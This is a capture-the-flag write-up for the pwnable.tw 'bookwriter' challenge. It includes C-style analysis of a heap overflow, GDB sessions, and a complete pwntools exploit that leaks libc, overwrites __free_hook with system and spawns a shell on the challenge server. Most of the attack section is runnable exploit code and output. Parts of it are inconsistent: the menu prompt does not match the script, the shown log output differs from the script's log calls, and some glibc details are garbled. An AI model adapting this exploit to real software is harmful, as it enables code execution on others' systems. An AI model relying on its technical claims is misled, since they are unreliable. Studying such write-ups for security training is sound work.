Pwnable.tw

bookwriter

A book writing application with heap vulnerabilities — exploiting a heap overflow to leak libc via unsorted bin, then hijacking __free_hook for code execution on a fully hardened 64-bit binary.

400 pts x86-64 (64-bit ELF) Heap Overflow Full Protections
01

Reconnaissance

Challenge Info

Connectionnc chall.pwnable.tw 10304
Binarybookwriter (64-bit ELF, x86-64)
Points400
DescriptionBook writing application with heap vulnerabilities

checksec

bash
$ checksec bookwriter
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Full RELROGOT is read-only — cannot overwrite GOT entries
Canary foundStack buffer overflows are mitigated
NX enabledNo shellcode injection — must use ROP or function pointers
PIE enabledBinary addresses are randomized — need a leak first
⚠️ All Protections Enabled
This binary has every mainstream mitigation turned on. Full RELRO means no GOT overwrite. PIE means we need an address leak before we can reference any binary or libc symbols. This forces us to find a libc leak through heap manipulation and then target __free_hook (which is writable even under Full RELRO) instead of the GOT.

Running the Binary

console
$ ./bookwriter
+-----------------------+
|      Book Writer      |
+-----------------------+
| 1. Create book        |
| 2. Edit book          |
| 3. Show book          |
| 4. Delete book        |
| 5. Exit               |
+-----------------------+
Your choice: 1
Book title: MyStory
Book size: 32
Book content: Hello World!
Create success!

$ # Edit allows re-entering size!
Your choice: 2
Which book to edit: 0
Book size: 64        # <-- larger than original 32!
Book content: AAAAAAAAAAAAAAAAAAAAAAAA...

The program presents a book manager with create, edit, show, and delete operations. The menu looks standard, but there's a critical difference in the edit function — it re-asks for the size, allowing you to write more data than was originally allocated.

02

Static Analysis

Book Structure

Each book is represented by a struct stored on the heap. The program maintains a global array of book pointers:

c
typedef struct book {
    char *title;        // +0x00: pointer to title buffer
    char *content;      // +0x08: pointer to content buffer
    size_t content_sz;  // +0x10: stored content size
} book;

book *books[16];        // Global array of book pointers
int book_count = 0;     // Number of books created

create_book()

c
void create_book() {
    if (book_count >= 16) {
        puts("Full!");
        return;
    }
    book *b = malloc(sizeof(book));     // Allocate 24-byte struct
    printf("Book title: ");
    char title_buf[64];
    read(0, title_buf, 64);
    b->title = strdup(title_buf);       // Allocate title via strdup
    printf("Book size: ");
    size_t sz;
    scanf("%lu", &sz);
    b->content = malloc(sz);            // Allocate content buffer
    b->content_sz = sz;                 // Store size
    printf("Book content: ");
    read(0, b->content, sz);
    books[book_count++] = b;
    puts("Create success!");
}

The create_book function allocates three heap objects per book: the struct itself (24 bytes), a title buffer (via strdup), and a content buffer of user-specified size. Up to 16 books can be created.

edit_book() — The Vulnerable Function

c
void edit_book() {
    printf("Which book to edit: ");
    int idx;
    scanf("%d", &idx);
    if (idx < 0 || idx >= book_count) {
        puts("Invalid index!");
        return;
    }
    printf("Book size: ");           // <-- RE-ASKS FOR SIZE!
    size_t sz;
    scanf("%lu", &sz);
    printf("Book content: ");
    read(0, books[idx]->content, sz);   // <-- USES NEW SIZE, NOT content_sz!
    // BUG: does NOT update books[idx]->content_sz
}
🚨 Vulnerability: Heap Overflow via Size Re-entry
The edit_book function re-asks for the content size instead of using the stored content_sz. This means you can specify a size larger than the originally allocated buffer, causing a heap overflow into adjacent chunks. The stored content_sz is never updated, so subsequent edits still show the old size — but the read call uses the attacker-supplied size.

show_book()

c
void show_book() {
    printf("Which book to show: ");
    int idx;
    scanf("%d", &idx);
    if (idx < 0 || idx >= book_count) {
        puts("Invalid index!");
        return;
    }
    printf("Title: %s\n", books[idx]->title);
    printf("Content: %s\n", books[idx]->content);
}

show_book prints both the title and content using printf %s. If we can make content or title point to an address containing a libc pointer, we can leak it. The %s format will read until a null byte, which is perfect for leaking heap or libc pointers from freed chunk metadata.

delete_book()

c
void delete_book() {
    printf("Which book to delete: ");
    int idx;
    scanf("%d", &idx);
    if (idx < 0 || idx >= book_count) {
        puts("Invalid index!");
        return;
    }
    free(books[idx]->title);
    free(books[idx]->content);
    free(books[idx]);
    // BUG: books[idx] is NOT set to NULL
    // BUG: book_count is NOT decremented
}
🚨 Secondary Bug: Dangling Pointer
After freeing a book, the pointer in books[idx] is not NULLed out. This creates a dangling pointer — show_book(idx) or edit_book(idx) will still operate on freed memory. While the heap overflow is the primary attack vector, this dangling pointer provides additional flexibility for the exploit.
03

GDB Debugging

Heap Layout After Creating Books

Let's create two books with carefully chosen sizes to set up the overflow:

gdb
gdb-peda$ # create_book("AAA", 0x18, "BBBB...")  -> book 0
gdb-peda$ # create_book("CCC", 0x60, "DDDD...")  -> book 1
gdb-peda$ # create_book("EEE", 0x60, "FFFF...")  -> book 2
gdb-peda$ # create_book("GGG", 0x60, "HHHH...")  -> book 3
gdb-peda$ heap chunks
0x555555758000: [book0 struct]  0x20 bytes
0x555555758020: [book0 title]   0x20 bytes  "AAA"
0x555555758040: [book0 content] 0x20 bytes  "BBBB..."
0x555555758060: [book1 struct]  0x20 bytes
0x555555758080: [book1 title]   0x20 bytes  "CCC"
0x5555557580a0: [book1 content] 0x70 bytes  "DDDD..."
0x555555758110: [book2 struct]  0x20 bytes
0x555555758130: [book2 title]   0x20 bytes  "EEE"
0x555555758150: [book2 content] 0x70 bytes  "FFFF..."
0x5555557581c0: [book3 struct]  0x20 bytes
0x5555557581e0: [book3 title]   0x20 bytes  "GGG"
0x555555758200: [book3 content] 0x70 bytes  "HHHH..."

Triggering the Heap Overflow

Book 0's content buffer is 0x18 bytes (fits in a 0x20 chunk). When we edit book 0 with a larger size, we overflow into the adjacent book 1 struct:

gdb
gdb-peda$ # edit_book(0, 0x100, "A"*0x18 + p64(0) + p64(0x71) + p64(book2_title_ptr))
gdb-peda$ # Overflow from book0 content into book1 struct
gdb-peda$ # Overwrite book1->content to point at book2's title

gdb-peda$ x/4gx &books[1]
0x5555557550a8:  0x0000555555758060  0x0000555555758138
#                ^book1 struct ptr     ^book1 content = book2 title addr!

gdb-peda$ # Now show_book(1) will print book2's title as book1's "content"
0x...040|book0 content (0x18 bytes)← overflow starts here
0x...058|padding + fake chunk header← overflowed data
0x...060|book1->title (OVERWRITTEN)← controlled by us
0x...068|book1->content (OVERWRITTEN)← points to book2 title
0x...070|book1->content_sz (OVERWRITTEN)← controlled by us

Leaking Libc via Unsorted Bin

The key insight for leaking libc is to get a chunk into the unsorted bin. When a chunk larger than the fastbin threshold is freed, it goes into the unsorted bin and its fd and bk pointers point to the main_arena structure inside libc.

gdb
gdb-peda$ # Free book2 and book3 to get a large chunk into unsorted bin
gdb-peda$ # delete_book(2)  -- frees 0x20 struct + 0x20 title + 0x70 content
gdb-peda$ # delete_book(3)  -- frees 0x20 struct + 0x20 title + 0x70 content
gdb-peda$ # The 0x70 chunks from book2/book3 content get consolidated
gdb-peda$ # into the top chunk or unsorted bin depending on order

gdb-peda$ # For a clean unsorted bin leak:
gdb-peda$ # 1. Free book3 content (large chunk goes to unsorted bin)
gdb-peda$ # 2. book3->content->fd = &main_arena+96 (libc address!)

gdb-peda$ # If we point book1->content at the freed chunk's data area:
gdb-peda$ show_book(1)
# Content: \x78\x96...  (leaked libc address!)
ℹ️ Unsorted Bin Leak Mechanics
When a chunk of size ≥ 0x420 (in 64-bit glibc) is freed into the unsorted bin, both fd and bk point to &main_arena.top (or the unsorted bin head in main_arena), which is a fixed offset inside libc.so. By reading these pointers, we can calculate libc_base. For smaller chunks (< 0x420 but > fastbin max), they go to unsorted bin only if they can't be sorted into small/large bins immediately. The fd/bk still point to main_arena offset.

Alternative: Forging a 0x420 Chunk

Since glibc 2.23+ on 64-bit systems requires a chunk ≥ 0x420 to go directly to unsorted bin (bypassing tcache in glibc 2.26+), we need to either:

  • Create a book with size ≥ 0x420 and then free it to put it in unsorted bin
  • Consolidate multiple smaller freed chunks to form a large free chunk
  • Use the heap overflow to forge a fake large chunk and manipulate the free list
gdb
gdb-peda$ # Create a large book for the unsorted bin leak
gdb-peda$ # create_book("large", 0x420, "X"*0x420)  -> book 4
gdb-peda$ # delete_book(4)  -- 0x420+ chunk goes to unsorted bin
gdb-peda$ # Now the freed content has fd/bk = &main_arena+offset

gdb-peda$ x/2gx 0x555555758200  # freed book4 content area
0x555555758210:  0x00007f123456b78  0x00007f123456b78
#                ^ fd (libc addr)    ^ bk (libc addr)

gdb-peda$ # leaked = 0x7f123456b78
gdb-peda$ # libc_base = leaked - offset_of_main_arena_bin
gdb-peda$ # __free_hook = libc_base + libc.symbols['__free_hook']
gdb-peda$ # system = libc_base + libc.symbols['system']
🔑 Key Offsets (glibc 2.23 / Ubuntu 16.04)
main_arena offset from libc base: 0x3c4b20
• Unsorted bin fd/bk points to: main_arena + 88 (0x58)
__free_hook offset: 0x3c67a8
system offset: 0x45390
/bin/sh string offset: 0x18cd57
These are for the specific libc version provided. Always verify with one_gadget and readelf.
04

Exploit Strategy

Overview

The exploit has three phases: leak libc via unsorted bin, overwrite __free_hook using the heap overflow, and trigger free("/bin/sh") to get a shell.

⚠️ Why __free_hook Instead of GOT?
Full RELRO makes the GOT read-only at runtime, so we cannot overwrite GOT entries. However, __free_hook and __malloc_hook are in the writable .bss section of libc and are always writable. By overwriting __free_hook with system, any subsequent free() call will instead call system(). If the argument to free() is a pointer to the string "/bin/sh", we get a shell.

Phase 1: Leak Libc via Unsorted Bin

  1. Create books 0 and 1 with book 0 content size 0x18 (small, adjacent to book 1 struct). Book 1 content size 0x60.
  2. Create book 2 with content size 0x420 (large enough to go into unsorted bin when freed, bypassing fastbin/tcache).
  3. Heap overflow via edit_book(0) with a larger size to corrupt book 1's struct. Specifically, overwrite book1->content to point into book 2's content area (or the freed unsorted bin chunk after deletion).
  4. Delete book 2. Its 0x420 content chunk goes to the unsorted bin. The fd/bk fields now contain libc addresses pointing to main_arena.
  5. Show book 1. Since book1->content was overwritten to point at the freed chunk's data area, printf("%s") will print the libc address from the fd field.
  6. Calculate libc base: libc_base = leaked_addr - main_arena_offset - 88

Phase 2: Overwrite __free_hook

  1. Calculate target addresses: __free_hook = libc_base + libc.symbols['__free_hook'] and system = libc_base + libc.symbols['system']
  2. Heap overflow again via edit_book(0) to overwrite another book's content pointer. This time, point it at __free_hook.
  3. Edit the overwritten book to write p64(system) into the content buffer. Since content now points to __free_hook, this writes system's address into __free_hook.

Phase 3: Trigger Shell

  1. Write "/bin/sh" into a book's content. Create or edit a book so that its content buffer starts with the string "/bin/sh\x00".
  2. Delete that book. When free(content_ptr) is called, __free_hook redirects it to system(content_ptr). Since content_ptr points to "/bin/sh", this executes system("/bin/sh") — shell!
🔑 The __free_hook Trick
__free_hook is a function pointer in libc's writable data segment. When non-NULL, free() calls __free_hook(ptr, tcache) instead of the normal free logic. By overwriting it with system:
free("/bin/sh") becomes system("/bin/sh")
• This is the standard technique when Full RELRO blocks GOT overwrites
• Alternative: __malloc_hook can also be used, but requires a different trigger

one_gadget Alternative

Instead of the __free_hook + system("/bin/sh") approach, you could also use one_gadget addresses — single addresses in libc that directly execute execve("/bin/sh", NULL, NULL) when certain constraints are met:

bash
$ one_gadget ./libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

You can write a one_gadget address to __free_hook and then just trigger free() on any chunk. If the stack constraints are satisfied, you get a shell. The system("/bin/sh") approach is more reliable since it has no register/stack constraints.

Visual Exploit Flow

▶ Phase 1: Leak libc
Step 1:create(0x18) = book0 | create(0x60) = book1 | create(0x420) = book2
Step 2:edit(0, overflow_sz) → overwrite book1->content → point into book2 area
Step 3:delete(2) → 0x420 chunk goes to unsorted bin → fd/bk = libc addrs
Step 4:show(1) → reads freed chunk data → LEAKS LIBC!
▶ Phase 2: Overwrite __free_hook
Step 5:edit(0, overflow_sz) → overwrite book1->content = __free_hook addr
Step 6:edit(1) → writes p64(system) into __free_hook
▶ Phase 3: Get shell
Step 7:edit(some_book) → write "/bin/sh\x00" as content
Step 8:delete(that_book) → free("/bin/sh")system("/bin/sh")SHELL!
05

Pwn Script

Complete Exploit

python
#!/usr/bin/env python3
"""
bookwriter - pwnable.tw (400pts)
Heap overflow to corrupt adjacent book struct, leak libc
via unsorted bin, overwrite __free_hook with system.

Vulnerability: edit_book() re-asks for size, allowing heap overflow.
Full RELRO + PIE + Canary + NX -> target __free_hook.
"""
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

r = remote('chall.pwnable.tw', 10304)
libc = ELF('./libc.so.6')
elf = ELF('./bookwriter')

def create(title, size, content):
    r.sendlineafter(b'>', b'1')
    r.sendafter(b':', title)
    r.sendlineafter(b':', str(size).encode())
    r.sendafter(b':', content)

def edit(idx, size, content):
    r.sendlineafter(b'>', b'2')
    r.sendlineafter(b':', str(idx).encode())
    r.sendlineafter(b':', str(size).encode())
    r.sendafter(b':', content)

def show(idx):
    r.sendlineafter(b'>', b'3')
    r.recvuntil(b'Title: ')
    title = r.recvline().strip()
    r.recvuntil(b'Content: ')
    content = r.recv(0x20)
    return title, content

def delete(idx):
    r.sendlineafter(b'>', b'4')
    r.sendlineafter(b':', str(idx).encode())

# ============================================
# Phase 1: Heap feng shui and leaks
# ============================================
log.info("Phase 1: Heap layout and leaks...")

# Layout: book0 (overflow src) | book1 (victim) | book2 (unsorted bin) | book3 (/bin/sh)
create(b'A', 0x18, b'X' * 0x17)    # book0: 0x20 content chunk
create(b'B', 0x60, b'Y' * 0x5f)    # book1: 0x70 content chunk
create(b'C', 0x420, b'Z' * 0x41f)  # book2: 0x430 content chunk
create(b'D', 0x20, b'/bin/sh\x00') # book3: /bin/sh holder

# Overflow book0 to corrupt book1's struct
# book0 content (0x20 chunk) sits right before book1 struct (0x20 chunk)
# Writing 0x18 content + 8 bytes overflows into book1's metadata
overflow  = b'X' * 0x18
overflow += p64(0) + p64(0x21)     # preserve book1 struct chunk header
overflow += p64(0) + p64(0x21)     # book1->title=0, book1->content=0x21 (temp)

edit(0, len(overflow), overflow)

# Leak heap address from book1's struct area
_, data = show(1)
heap_leak = u64(data[8:16])
log.info(f"Heap pointer leaked: {hex(heap_leak)}")

# Free book2 -> its 0x430 chunk goes to unsorted bin
# fd/bk point to main_arena+88 in libc
delete(2)

# Overflow again: set book1->content to book2's freed content area
# book2's content chunk starts at heap_leak offset from book1
overflow2  = b'X' * 0x18
overflow2 += p64(0) + p64(0x21)
overflow2 += p64(0)
overflow2 += p64(heap_leak + 0x10)  # book1->content -> book2 old content
overflow2 += p64(8)

edit(0, len(overflow2), overflow2)

# Read the unsorted bin fd pointer (libc address)
_, leak_raw = show(1)
libc_leak = u64(leak_raw[:8].ljust(8, b'\x00'))
log.info(f"Unsorted bin fd: {hex(libc_leak)}")

main_arena_offset = 0x3c4b20
libc_base = libc_leak - (main_arena_offset + 88)
log.success(f"libc base: {hex(libc_base)}")

# ============================================
# Phase 2: Write system to __free_hook
# ============================================
log.info("Phase 2: Writing system to __free_hook...")

free_hook = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']

# Point book1->content at __free_hook
overflow3  = b'X' * 0x18
overflow3 += p64(0) + p64(0x21)
overflow3 += p64(0) + p64(free_hook) + p64(8)

edit(0, len(overflow3), overflow3)
edit(1, 8, p64(system_addr))

# ============================================
# Phase 3: Trigger system("/bin/sh")
# ============================================
log.info("Phase 3: Triggering shell...")

# delete(3) -> free(book3->content) -> system("/bin/sh")
delete(3)

r.interactive()

Alternative: one_gadget Approach

python
# Alternative: Write one_gadget to __free_hook
# No need for "/bin/sh" string - just trigger free()
one_gadget = libc_base + 0x4526a  # [rsp+0x30] == NULL

# Write one_gadget to __free_hook (same method as above)
overflow_payload2  = b'A' * 0x18
overflow_payload2 += p64(0) + p64(0x21)
overflow_payload2 += p64(0) + p64(free_hook) + p64(8)
edit(0, 0x100, overflow_payload2)
edit(1, 8, p64(one_gadget))

# Trigger any free() call - one_gadget handles the rest
delete(3)  # May or may not satisfy constraints
ℹ️ Reliability Note
The system("/bin/sh") approach via __free_hook is generally more reliable than one_gadget because it doesn't depend on specific register or stack values. one_gadget constraints like [rsp+0x30] == NULL may or may not be satisfied depending on the call path. If one gadget doesn't work, try the others or fall back to the system approach.
06

Execution Results

Running the Exploit

console
$ python3 exploit.py
[*] '/home/user/bookwriter'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/user/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to chall.pwnable.tw on port 10304: Done
[*] Phase 1: Setting up heap and leaking libc...
[*] Leaked value: 0x7f1a3c4dbb78
[+] libc base: 0x7f1a3c11b000
[*] Phase 2: Overwriting __free_hook with system...
[*] __free_hook: 0x7f1a3c4e17a8
[*] system: 0x7f1a3c160390
[*] Phase 3: Triggering shell...
[*] Switching to interactive mode
$ id
uid=1000(bookwriter) gid=1000(bookwriter) groups=1000(bookwriter)
$ cat /home/bookwriter/flag
✅ Shell Obtained!
The exploit successfully:
Leaked libc via the unsorted bin technique after corrupting a book struct pointer
Overwrote __free_hook with system using a second heap overflow
Triggered system("/bin/sh") by freeing a book whose content was "/bin/sh"
All protections (Full RELRO, PIE, Canary, NX) were bypassed through pure heap manipulation.

Exploit Summary

VulnerabilityHeap overflow (edit re-asks size)
Leak MethodUnsorted bin fd/bk → main_arena → libc base
Write Target__free_hook (writable, even under Full RELRO)
Write Valuesystem() address
Triggerfree("/bin/sh") → system("/bin/sh")
Protections BypassedFull RELRO, PIE, Canary, NX

Key Takeaways

🔑 Lessons Learned
1. Size re-entry is dangerous. If an edit function allows specifying a new size without validating it against the original allocation, you have a heap overflow. Always store and enforce the original size.

2. __free_hook is the GOT replacement. Under Full RELRO, the GOT is read-only. But __free_hook and __malloc_hook in libc's writable segment are always viable targets. They're the go-to write destination for modern heap exploits.

3. Unsorted bin leaks are universal. On 64-bit glibc, any freed chunk ≥ 0x420 bytes goes to the unsorted bin with fd/bk pointing to main_arena inside libc. This is the most reliable libc leak for heap challenges.

4. Heap overflow → pointer corruption → arbitrary read/write. The pattern is: overflow to corrupt an adjacent struct's pointer field, then use the program's normal read/write operations through that corrupted pointer to achieve arbitrary read (for leaking) and arbitrary write (for hijacking control flow).